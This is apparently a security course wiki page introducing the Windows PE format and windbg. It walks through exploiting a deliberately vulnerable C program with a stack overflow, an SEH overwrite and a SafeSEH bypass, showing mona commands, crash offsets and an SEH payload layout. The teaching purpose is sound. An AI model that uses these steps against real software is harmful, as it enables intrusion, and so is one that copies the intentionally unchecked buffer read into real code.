User Tools

Site Tools


Sidebar

session:extra:windows-security

Extra: Windows Security Mechanics

Slides

You can find the slides here.

Tutorials

This session will provide a quick intro into Windows Land. We will first explore the windows PE (Portable Executable) file format. On key elements we will try and present the differences between it and what we know about the ELF format. We will briefly explore how certain parts of a PE file get mapped into memory as well as how dynamic library calls are triggered focusing on the elements which are more important for our exploitation needs.

When it comes to exploitation everything in Windows is more verbose an generally harder. Given that the Windows will be featured in only one class we will not be able to feature the bypassing of all its mechanisms. As a target Windows XP will be used (and before you cringe know that it currently has 25% market share vs 6% market share for Window 8). As a debugger we will be using windbg, because the ones with fancy interfaces and plugins are still stuck in 32-bit land, and when it comes to writing or finding rootkits it's basically all you've got. Initially we will explore what it means to explore a vanilla stack overflow and how much more complicated windows shellcode is compared to Linux. Then we will move on to bypassing canary values, and the to exploiting SEH (structured exception handling), as well as it accompanying mitigation strategy called SafeSEH.

This will be done in a DEP and ASLR free environment.

Brief History

The PE file format has a common ancestor with ELF in the COFF file format and has been around since Win 3.1. Unlike ELF its consistent across all architectures that windows supports and currently comes in tow flavours PE32 and PE32+(for 64bit). In order to interpret the contents of a binary ELF file, a program will find its specification in the WINNT.H file. Below you can notice a birds eye view of the PE file format and awe at its size.

In Windows there are a lot of things that constitute an PE file, among which:

  • .exe - Executable file
  • .cpl - Control panel
  • .scr - Screensaver
  • .dll - Dynamic Link Library
  • .sys/.drv - System file (Kernel Driver)
  • .ocx - ActiveX control
Static libraries in Windows, that usually carry the .lib extentsion are not in PE file format

PE structure

Obviosly we cannot go through all the elements of the PE file in one sitting so are just going to focus on the things that help us figure out what we are looking at in memory.

There are a lot of tools to help you peer into the an PE file. Among the most used:
  • CFF Explorer powerful x64 suppport a tad on the windows explorer side
  • PEView lightweight, portable but only x32 support
  • LORDPE portable, x64 compatible with support for runtime process analysis

The good news is that we don't need to know everything about the PE structure for exploitation, so at each important section we will just be talking about the things that do help us. Refer to the first link below to view all the elements

For a more useful/complete reference use the following links:
  • Magnified PE32 and PE32+ formats
  • PE executable walkthrough
  • Part 1 An In-Depth Look into the Win32 Portable Executable File Format
  • Part 2 An In-Depth Look into the Win32 Portable Executable File Format

The following image illustrates a rough estimate of what gets loaded into memory

Image DOS Header

e_lfanew - specified the file offset for the next header

Image NT Header

Signature - PE written in ASCII format FileHEader - the File Header OptionalHeaderr - the Optional header

Image File Header

Machine - states if it's a x86 (014c) bit or a x86-64(8664) bit binary TimeDateStamp - Unix style timestamp (measuring since 01.01.1970) applied when the executable was linked NumberOfSections - States the number of sections that follow Characteristics - gives us an idea of the type of file we are dealing with a few of which are:

  • System file - IMAGE_FILE_SYSTEM(0x1000)
  • Executable File - IMAGE_FILE_EXECUTABLE_IMAGE(0x0002)
  • 32 bit machine - IMAGE_FILE_32BIT_MACHINE(0x1000)

Image Optional Header

Magic - State if it's a PE32(10c) or PE32+(20B) file AddressOfEntryPoint - specifies the RVA(Relative Virtual Address) where the code will start executing after the loader has finished SizeOfImage - the size of the contiguous memory that needs to be reserved to load the file in memory SectionAlignment - the file sections are aligned in memory to this boundary FileAlignment -data alignment in boundary on disk ImageBase - preferred virtual address where the PE file should be loaded. DLLCharacteristics - specifies the important security attributes of the executable and more

  • IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE - can be used with ASLR
  • IMAGE_DLLCHARACTERISTICS_NX_COMPAT - can be used with DEP
  • IMAGE_DLLCHARACTERISTICS_NO_SEH -do not generate a structured exception handler chain, making SEH exploits not fesale

Sections

After the headers that we have just listed will follow a list of sections. Sections inside the PE file serve a similar purpose to those in the ELF file format. Each section entry in the _IMAGE_SECTION_HEADER holds the following useful information:

  • Name the name of the section
  • VirtualAddress - the RVA relative to the ImageBase defined in the Optional Header
  • PointerToRawData - relative offset from the beginning of the file where the section starts
  • VirtualSize - size that the section occupies in memory
  • SizeOfRawData - size that the section occupies on disk

Import table

The import table is Windows's .PLT table basically. It doesn't necessarily work in the same way, but provides the same role, namely as mechanism for calling external functions at runtime.

OriginalFirstThunk - is a RVA to the INT( Import names table), import names table, that is basically an array of IMAGE_THUNK_DATA structs FirstThunk - is the RVA to the IAT( Import Address Table), also an array of IMAGE_THUNK_DATA structs Name - is the name of the module from where the functions will be imported

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE 
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;

Initially both IAT and INT entries point to a IMAGE_IMPORT_BY_NAME structure which has the following key elements:

Hint - using the ordinal of an imported function as a reference from in the exports table of dynamic library Name - function name in ASCII used for name resolution

The INT structures are always interpreted as a u1.AddressOfData as a RVA of an IMAGE_IMPORT_BY_NAME structure. At runtime the IAT structures are resolved by the OS Loader and are subsequently interpreted as u1.Function, as actual memory addresses where the dynamic library was loaded in the process memory space.

Linux provides the ability of statically linking a dynamic library by including all its code in the executable. In Windows you can fill in the IAT entries at link time provided that the DLL you are linking against has a specific version. This functions in a predictable manner because, the PE file format provides an on disk map to find the exact position where a library function will be loaded in process memory. To figure out if the DLL present on disk is the the one we are bound imports are used who's structure is described by IMAGE_BOUND_IMPORT_DESCRIPTOR.

TimeDateStamp - is matched against the same field in Export Address Table of the DLL on disk to verify that the versions match OffsetModuleName - is the RVA calculated from the beginning of the IMAGE_BOUND_IMPORT_DESCRIPTOR table

Bound imports are not compatible with ASLR

Delay Loaded imports

Delay loaded imports are the very close in functionality to the way that .PLT is used to call external functions at runtime. This is used for calling functions in DLLs that will not be available at load time. In order to achieve a list of IMAGE_DELAY_IMPORT_DESCRIPTOR structures is used out of which the most important elements are:

rvaDLLName the name in ASCII for the DLL rvaIAT - a RVA to a separate IAT structure rvaINT - a RVA to a separate INT structure

Initially the delay loaded IAT entry contains a RVA to some stub code that will basically perform these actions: 1) Check if the DLL has been loaded into memory 2) If not it will call the LoadLibrary() function to add the DLL 3) Then it will call the getProcAddress() function to map the external function address as it was loaded into memory 4) It will fill in the IAT entry with the function address so that subsequent calls will happen directly

Exports

For a dynamic library to be useful, it must expose an API to call the function it implements. Dynamic libraries in Windows do this by using a mechanism called the Exports Address Table that resides in the IMAGE_EXPORT_DIRECTORY struct. The most important elements are:

TimeDateStamp is used by the bound imports mechanism to match the version of the on disk DLL and figure out if it should be matched into memory AddressOfFunctions - is a RVA which points to the beginning of an array of function RVA called the EAT ( Export Address Table) AddressOfNames RVA which points to the beginning of an array of RVAs to the function names called the ENT (Export Names Table) AddressOfNameOrdinals - RVA that point to the beginning of an array of ordinals Base value that is subtracted from the entry in table pointed to by the AddressOfNameOrdinal to get the zero-indexed offset in the EAT NumberOfFunctions number of functions that can be called by ordinal NumberOfNames the number functions that can be called by name

Currently, all the entries in the ENT are sorted so that a simple binary search by name will quickly give us the RVA of the function we are looking for but in the days of old it wasn't so easy and best practice dictated that you use ordinals, hence the need for the two indexing schemes. To maintain backward compatibility the current scheme still involves using ordinals.

1) Get the index of the name in ENT, pointed to by AddressOfNames 2) Get the value from the same index in the ordinals table, pointed to by AddressOfNameOrdinals 3) Use the value as an index into EAT, pointed to by AddressOfFunctions

Relocations

Each PE specifies a base address as a preference for where to be loaded into memory. As more DLL's get loaded into memory, the possibility of the same virtual address being requested by multiple libraries gets higher. In ELF, relocations are present in many structures, in Windows it's just a standard section called .reloc. Relocations are stored in an array of IMAGE_BASE_RELOCATION structures.

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} IMAGE_BASE_RELOCATION;

After each relocation structure we can find an array of 16bit values that specify where and how each relocation will be applied. The first 4 bits specify a IMAGE_REL_BASED_xxx value that states how the relocation will be applied and the last 12 bits are interpreted based on the specific algorithm. The most used one is IMAGE_REL_BASED_HIGHLOW which means that the relocation will be applied in VirtualAddress+the lower 12 bits

VirtualAddress - is the RVA to which the relocations will be relative to. SizeOfBlock - the number of WORD (16bit) sized relocation targets added to the size of the structure itself

PEB and TEB

When a executable file gets loaded into memory aside from the elements that are mapped from the PE file on disk two very important structures get created in memory.

Every process is represented in kernel space by an EPROCESS which in turn references several ETHREAD structures for threads. Thes,e in turn point in user space to PEB and TEB structure containing some of the following information.

  • PEB( Process Environment Block)
  • basic image information (base address, version numbers, module list)
  • process heap information
  • environment variables
  • command-line parameter
  • DLL search path
  • TEB( Process Environment block)

* stack information (stack-base and stack-limit)

  • TLS (Thread Local Storage) array

WINDBG

Like mention previously there are lot of fancy tools out there like Immunity and OllyDBG, but WindBG is the most powerful and complete, being currently the only solution if you want to debug kernel stuff. And because your debugging skill is directly proportionate to you exploitation skill a tool like WinDBG is the only way to go.

For exploitation the following setup is recommended

  • Dismissasembly - actively disassembling the code as EIP moves
  • Memory it's usually recommended that you set ESP so you can actively monitor the stack
  • Registers - customizable view of the register values as the code executes
  • Command - command window

You can add/remove windows from the View menu as you wish. To save a layout open windbg without attaching to a process setup the windows and go to File> Save Workspace. When you attach to a process ore just start one in windbg you can go to File > Open Workspace and instantly load all the process data to the workspace you wish.

When starting up windbg from the command line some of the following flags are important

QY - Suppresses the “Save Workspace?” dialog box and automatically saves workspaces c - specify a comma separated list of command to be run at startup

windbg -QY SSS_example.exe [program arguments]
For a more complete list of commands

After you've started a program in windbg in order to reset use Ctrl+Shift+F5

List of basic commands

bp - set a breakpoint that will be removed when restarting windbg

0:000> bp 0x00401c21 

bu - set a breakpoint that will be won't be removed when restarting windbg

t - step into p - step over g - run until next breakpoint/end u - start disassembling the code starting from a certain address

0:000> u 00401c20
SSS_example!main [c:\class\sss_example\sss_example\sss_example\sss_example.cpp @ 6]:
00401c20 55              push    ebp
00401c21 8bec            mov     ebp,esp
00401c23 81ec04020000    sub     esp,204h
00401c29 68c8224000      push    offset SSS_example!GS_ExceptionPointers+0x8 (004022c8)
00401c2e 8b450c          mov     eax,dword ptr [ebp+0Ch]
00401c31 8b4804          mov     ecx,dword ptr [eax+4]
00401c34 51              push    ecx
00401c35 ff15a8204000    call    dword ptr [SSS_example!_imp__fopen (004020a8)]

? - an excellent operator for performing a lot of stuff the most useful being bitewise operations

0:000>? esp+4
Evaluate expression: 1245040 = 0012ff70
0:000> ?00401c35 + 0x34
Evaluate expression: 4201577 = 00401c69

dd dump memory and interpret it as a double words

0:000> dd 00401c20
00401c20  81ec8b55 000204ec 22c86800 458b0040
00401c30  04488b0c a815ff51 83004020 458908c4
00401c40  fc7d83fc 68137500 004022cc 20ac15ff
00401c50  c4830040 ffc88304 558b35eb 08428b0c
00401c60  b415ff50 83004020 858904c4 fffffdfc
00401c70  51fc4d8b fdfc958b 6a52ffff 00858d01
00401c80  50fffffe 20a415ff c4830040 8bc03310
00401c90  00c35de5 00000000 00000000 00000000

.hh - open up a Windows help listing on any command a - modify instructions on the fly, as the program is executing you must hit enter after each instruction and the a final enter to implement the changes

0:000> a 00401c3e
00401c3e jmp 0x6
jmp 0x6
00401c43 

.load - load windbg plugins !teb - list the TEB information

:000> !teb
TEB at 7ffdf000
    ExceptionList:        0012ffa8
    StackBase:            00130000
    StackLimit:           00126000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 7ffdf000
    EnvironmentPointer:   00000000
    ClientId:             00000ccc . 00000d40
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          7ffd5000
    LastErrorValue:       0
    LastStatusValue:      c0000135
    Count Owned Locks:    0
    HardErrorMode:        0

!peb - list the PEB information

!peb
PEB at 7ffd5000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00251ea0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00251f58 . 00252170
    Ldr.InLoadOrderModuleList:           00251ee0 . 00252160
    Ldr.InMemoryOrderModuleList:         00251ee8 . 00252168
            Base TimeStamp                     Module
          400000 53e2a7ae Aug 07 01:09:50 2014 C:\class\SSS_example\SSS_example\Debug\SSS_example.exe
        7c900000 4d00f29d Dec 09 17:15:41 2010 C:\WINDOWS\system32\ntdll.dll
        7c800000 49c4f2bb Mar 21 15:59:23 2009 C:\WINDOWS\system32\kernel32.dll
        10200000 488ef6c7 Jul 29 13:53:59 2008 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.DebugCRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_f863c71f\MSVCR90D.dll
    SubSystemData:     00000000
    ProcessHeap:       00150000
    ProcessParameters: 00020000
    CurrentDirectory:  'C:\class\SSS_example\SSS_example\Debug\'
    WindowTitle:  'C:\class\SSS_example\SSS_example\Debug\SSS_example.exe'
    ImageFile:    'C:\class\SSS_example\SSS_example\Debug\SSS_example.exe'
    CommandLine:  'SSS_example.exe C:\attack.bin'
    DllPath:      'C:\class\SSS_example\SSS_example\Debug;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\Program Files\Debugging Tools for Windows (x86)\winext\arcade;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\Debugging Tools for Windows (x86);c:\Program Files\Microsoft SQL Server\100\Tools\Binn\;c:\Program Files\Microsoft SQL Server\100\DTS\Binn\'
    Environment:  00010000
        =::=::\
        =C:=C:\class\SSS_example\SSS_example\Debug
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        APPDATA=C:\Documents and Settings\Administrator\Application Data
        CLIENTNAME=Console
        CommonProgramFiles=C:\Program Files\Common Files
        COMPUTERNAME=XP_HOST
        ComSpec=C:\WINDOWS\system32\cmd.exe
        FP_NO_HOST_CHECK=NO
        [output-omitted]

!exchain - list the SEH chain

0:000> !exchain
0012ffa8: SSS_example!_except_handler4+0 (00401a40)
  CRT scope  0, filter: SSS_example!__tmainCRTStartup+1dd (0040131d)
                func:   SSS_example!__tmainCRTStartup+1f8 (00401338)
0012ffe0: kernel32!_except_handler3+0 (7c839aa8)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c8438c2)
                func:   kernel32!BaseProcessStart+3a (7c8438d8)
Invalid exception stack at ffffffff
Some other cheat sheets:

Mona

Like we discussed previously windows shellcode is not for the fainthearted. There is no .PLT and no return2libc, if you want something you need to follow that path listed in delay loaded import. Specifically, your shellcode needs to see if the DLL to the needed function is in memory, if not it calls LoadLibrary() and then GerProcessAdress(). To get an idea of how much more code that is below you can find two listing showing first linux then windows style shellcode that just echoes “hello world”.

As such it is highly unfesable to write your own every time. To this extent, the msfpayload metaploit script is more than useful at providing the windows shellcode for all your exploitation needs

Windbg is a very powerful tool but it wasn't exactly geared toward exploit development. If GDB has PEDA , windbg has mona. Mona is a powerful python script than can be loaded in winbg with the help of the python extension plugin.

Before you can use mona the following things need to happen
  1. Install the Python extension plugin along with python
  2. Download the windbglib script from the corelan github and place it in the Windows Debugging tools folder , where the windbg.exe resides
  3. Download the mona script from the corelan github and place it in the Windows Debugging tools folder , where the windbg.exe resides

To use mona on the current process you are debugging just run:

load pykd.pyd
0:000> !py mona help
Hold on...
     'mona' - Exploit Development Swiss Army Knife - WinDBG (32bit)
     Plugin version : 2.0 r494
     Written by Corelan - https://www.corelan.be
     Project page : https://redmine.corelan.be/projects/mona
    |------------------------------------------------------------------|
    |        _ __ ___    ___   _ __    __ _     _ __   _   _           |
    |       | '_ ` _ \  / _ \ | '_ \  / _` |   | '_ \ | | | |          |
    |       | | | | | || (_) || | | || (_| | _ | |_) || |_| |          |
    |       |_| |_| |_| \___/ |_| |_| \__,_|(_)| .__/  \__, |          |
    |                                          |_|     |___/           |
    |                                                                  |
    |------------------------------------------------------------------|

While using mona a lot of files get created. In order to be more organised when starting to exploit a process you should define a separate working directory

!py mona config -set workingfolder C:\Mona\%p

The above command will store all the generated files int the Mona\process_name folder and also generate a mona.ini file in the directory where the current executable resided so you don't have to redefine the working folder each time you restart windbg.

For more information on how to use mona refere to the following links

Basic Buffer Overflow

By now everybody should be familiar with how a buffer overflow works, so we're not going to get into that. Instead let's say how we can use mona for exploitation in the fast lane. We run the executable compiled from the following code with no protections activated.

#include <stdio.h>
#include <string.h>
#include <windows.h>
 
int main(int argc, char **argv)
{
 
	FILE *fp;
	int bytes_to_read;
	char buf[500];
 
 
	fp = fopen(argv[1], "rb");
	if (fp == NULL)
	{
		printf("Can't o pen file\n");
		return -1;
	}
	bytes_to_read=atoi(argv[2]);
	fread(buf,1,bytes_to_read,fp);
	return 0;
}

It is quite clear that the program is vulnerable to a classic buffer overflow. Let's generate a binary file using the hex editor of choice. Generate 600 bytes of data and run the executable inside windbg.

windbg -QY basic_vuln.exe C:\attack.bin 600

The output in the Command window in windbg should be something allong these lines.

0:000> g
(7ac.3ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=7855065f edx=003429d0 esi=00000001 edi=00403394
eip=41414141 esp=0012ff84 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???
<code>
 
So now instead of doing the heavy lifting let's put mona to work.
 
<code text>
.load pykd.pyd
0:000>!py mona config -set workingfolder C:\Mona\%p
0:000>!py mona pc 700
Hold on...
Creating cyclic pattern of 700 bytes

This should create a special pattern and store it in the pattern.txt file in the C:\Mona\executable_name folder. We open the pattern file eliminate everything but the pattern and serve it as input to the vulnerable executable again. After the crash run the following command:

0:000> !py mona findmsp
Hold on...
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00344170 (length 700 bytes)
    Cyclic pattern (normal) found at 0x0012fd7c (length 600 bytes)
[+] Examining registers
    EIP contains normal pattern : 0x41327241 (offset 516)
    ESP (0x0012ff84) points at offset 520 in normal pattern (length 80)
    EBP contains normal pattern : 0x31724130 (offset 512)

After the crash mona will scan the process memory to figure out where in memory the vulnerable stack buffer is and write offsets from the buffer to various information structures in findmsp.txt file in the defined mona working folder. The vulnerable stack buffer is located at 0x0012fd7c and the address that will lead to EIP overwrite must be positioned at an offset of 516 bytes in the input file. All we have to do now is place the address of the buffer starting at offset 516 in the file , and the shell code we wish to execute at the beginning of the file.

SEH Overflow

One of the key protection mechanisms that has also been implemented in windows are stack canaries. As you already know these value prevent classic buffer overflows by checking some cookies that have been placed on the stack frame between local variable and the return addreses. Exception handling is built into the Windows operating system and helps make applications more robust. Even if the program developer has not set up any exception handling every thread of every process has at least one handler that is setup on thread initialization. Information about exception handlers is stored on the stack in an EXCEPTION_REGISTRATION structure and a pointer to the first EXCEPTION_REGISTRATION structure is stored in the Thread Environment Block.

But the entries to the default SEH handlers are just some other entries on the stack. Essentially if an attacker can generate enough data he can ovewrite them and by triggering an exception he could bypass the canary value cheking entirely, by interrupting normal execution flow.

Again let's put mona to work. Just like above, let's generate an attack pattern but this time let's use 1000 bytes.

0:000> g
(dac.db0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003e7 ecx=00000059 edx=00000000 esi=003443f4 edi=00130000
eip=7855aed8 esp=0012fca4 ebp=0012fcac iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
MSVCR90!memcpy+0xb8:
7855aed8 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> g
(dac.db0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=74413973 edx=7c9032bc esi=00000000 edi=00000000
eip=74413973 esp=0012f8d4 ebp=0012f8f4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
74413973 ??              ???

As we can see the buffer overflow occurred, but due to the far larger payload an exception also happened in the memcpy function, but when Windows moved to call the appropriate exception handler, it was already overwritten. We issue the mona findmsp command and the following output is yeilded.

!py mona findmsp
Hold on...
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00344170 (length 1000 bytes)
    Cyclic pattern (normal) found at 0x0012fd7c (length 644 bytes)
    -  Stack pivot between 1192 & 1836 bytes needed to land in this pattern
[+] Examining registers
    EIP contains normal pattern : 0x74413973 (offset 568)
    ECX contains normal pattern : 0x74413973 (offset 568)
[+] Examining SEH chain
    SEH record (nseh field) at 0x0012ffb0 overwritten with normal pattern : 0x41387341 (offset 564), followed by 72 bytes o

Apparently all we would have to do is put the buffer address at offset 564 and we're done. But due to the fact that this functionality was severely exploited, Microsoft inserted a sanity check that prohibits the structured exception handler from treating stack addresses as valid addresses to handlers. In order to bypass, we must understand how the exception chain is used.

The SEH handler will call each SE Handler entry and if the exception cold not be handled it will return to the SEH chain , access the pointer to the next entry , and continue until it reaches FFFFFFFF. In the function handler prologue the address to the next exception chain entry was put on ESP+8. So a good algorithm for exploiting this vulnerability would be

All we need now is to find the address of a pop;pop;ret sequence outside the stack, and it's time for mona to go to work again.

0:000> !py mona seh
Hold on...
 
---------- Mona command started on 2014-08-07 04:22:14 (v2.0, rev 494) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module basic_vuln.exe
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - (Re)setting logfile C:\Mona\basic_vuln\seh.txt
[+] Writing results to C:\Mona\basic_vuln\seh.txt
    - Number of pointers of type 'pop ebx # pop ebp # ret ' : 1 
    - Number of pointers of type 'pop edi # pop esi # ret ' : 2 
    - Number of pointers of type 'pop ecx # pop ecx # ret ' : 1 
[+] Results : 
0x00401511 |   0x00401511 : pop ebx # pop ebp # ret  | startnull,ascii {PAGE_EXECUTE_READ} [basic_vuln.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (basic_vuln.exe)
0x00401455 |   0x00401455 : pop edi # pop esi # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [basic_vuln.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (basic_vuln.exe)
0x0040147b |   0x0040147b : pop edi # pop esi # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [basic_vuln.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (basic_vuln.exe)
0x004011f5 |   0x004011f5 : pop ecx # pop ecx # ret  | startnull {PAGE_EXECUTE_READ} [basic_vuln.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (basic_vuln.exe)

So given our current context all we have to do is put something allong these lines at offset 564 in our input file:

eb 06 90 90  11 15 40 00 [shellcode]
[jump 06   ][pop;pop;ret]

Just one last little problem: windows shellcode is big and the SE handler addresses are usually close to the end of the stack. To get past this ,after the pop;pop;ret in the SEH chain we should jump back to the start of our buffer where the shellcode awaits. This can easily be done by inserting cc(INT 3) instructions after the pop;pop;ret address and then using the a command to assemble jmp address_of_buffer .

SafeSEH

In order to further harden the SEH chain Microsoft introduced a subsequent sanity check called SAFESEH. When an exception handler pointer is about to get called, ntdll.dll (KiUserExceptionDispatcher) will check to see its validity. The address is checked against the list of loaded modules and the on disk executable image itself to see the address range of one of these modules. If that is the case, the pointer is checked against the list of registered handlers and only if there is a match, the pointer is allowed. The key check is performed against the Load Configuration Directory and if the module does not have a Load Configuration Directory, the handler call is allowed. The funny thing is that if the address doesn't fall within the list of loaded modules the handler will be allowed.

So in order to bypass SafeSEH we have three avenues of exploitation:

  1. Overwrite the pointer to the exception handler with a heap address and couple it with a heap spray in order to get a predictable address
  2. Use an address that is outside the range of loaded modules
  3. Use an address in a module that wasn't compiled with SAFESEH and doesn't have a Load Configuration Directory to check against

Coming back to our vulnerable executable, let's say we've compiled it with SAFESEH let's see what mona says.

0:000> !py mona mod
Hold on...
 
---------- Mona command started on 2014-08-07 04:51:23 (v2.0, rev 494) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x7c900000 | 0x7c9b2000 | 0x000b2000 | False  | True    | False |  False   | True   | 5.1.2600.6055 [ntdll.dll] (ntdll.dll)
 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5781 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
 0x00400000 | 0x00406000 | 0x00006000 | False  | True    | False |  False   | False  | -1.0- [basic_vuln.exe] (basic_vuln.exe)
 0x78520000 | 0x785c3000 | 0x000a3000 | False  | True    | False |  False   | True   | 9.0.30729.6161 [MSVCR90.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.6161_x-ww_31a54e43\MSVCR90.dll)
----------------------------------------------------------------------------------------------------------------------------------

As you can see all loaded modules use SafeSEH, now let's tell mona to search the entire process memory space, not just the pages attributed to modules to find pop;pop;ret stack pivots

!py mona seh -all
Hold on...
 
---------- Mona command started on 2014-08-07 04:51:38 (v2.0, rev 494) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 0 modules
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying memory outside modules
    - Querying 0x00000000 - 0x003fffff
    - Querying 0x00406001 - 0x7851ffff
    - Querying 0x785c3001 - 0x7c7fffff
    - Querying 0x7c8f6001 - 0x7c8fffff
    - Querying 0x7c9b2001 - 0x7fffffff
    - Search complete, processing results
[+] Preparing output file 'seh.txt'
    - (Re)setting logfile C:\Mona\basic_vuln\seh.txt
[+] Writing results to C:\Mona\basic_vuln\seh.txt
    - Number of pointers of type 'call dword ptr ss:[ebp+30]' : 1 
    - Number of pointers of type 'pop edi # pop edi # ret ' : 2 
    - Number of pointers of type 'pop edx # pop ecx # ret ' : 1 
[+] Results : 
0x00280b0b |   0x00280b0b : call dword ptr ss:[ebp+30] | startnull,ascii {PAGE_READONLY}
0x7ffc07d1 |   0x7ffc07d1 : pop edi # pop edi # ret  |  {PAGE_READONLY}
0x7ffc0800 |   0x7ffc0800 : pop edi # pop edi # ret  | null {PAGE_READONLY}
0x7ffc054d |   0x7ffc054d : pop edx # pop ecx # ret  |  {PAGE_READONLY}
    Found a total of 4 pointers
 
[+] This mona.py action took 0:00:00.562000

That's it use one of the above addresses ant the rest work the same as standard SEH exploitation

Tasks

You can find the archive with all the tasks here

Binary Scavenger hunt

The first task is a little game that generates random PE files. The game is split up into different levels each with it's own theme. Try and answer the game's riddles by using your favorite PE file parser.

PS: The scoring doesn't actually mean anything(the cake is a lie)

Hack-me-1

Task2 features a little binary whose usage has been lost. Try and find out how you use it with a little windbg based RE Without abusing it's SEH try and execute the calcshellcode on your desktop with a vanilla buffer overflow.

Hack-me-2

Task3 has another little binary which has been a bit hardened. Try and execute the calcshellcode however you can.

session/extra/windows-security.txt · Last modified: 2020/07/19 12:49 (external edit)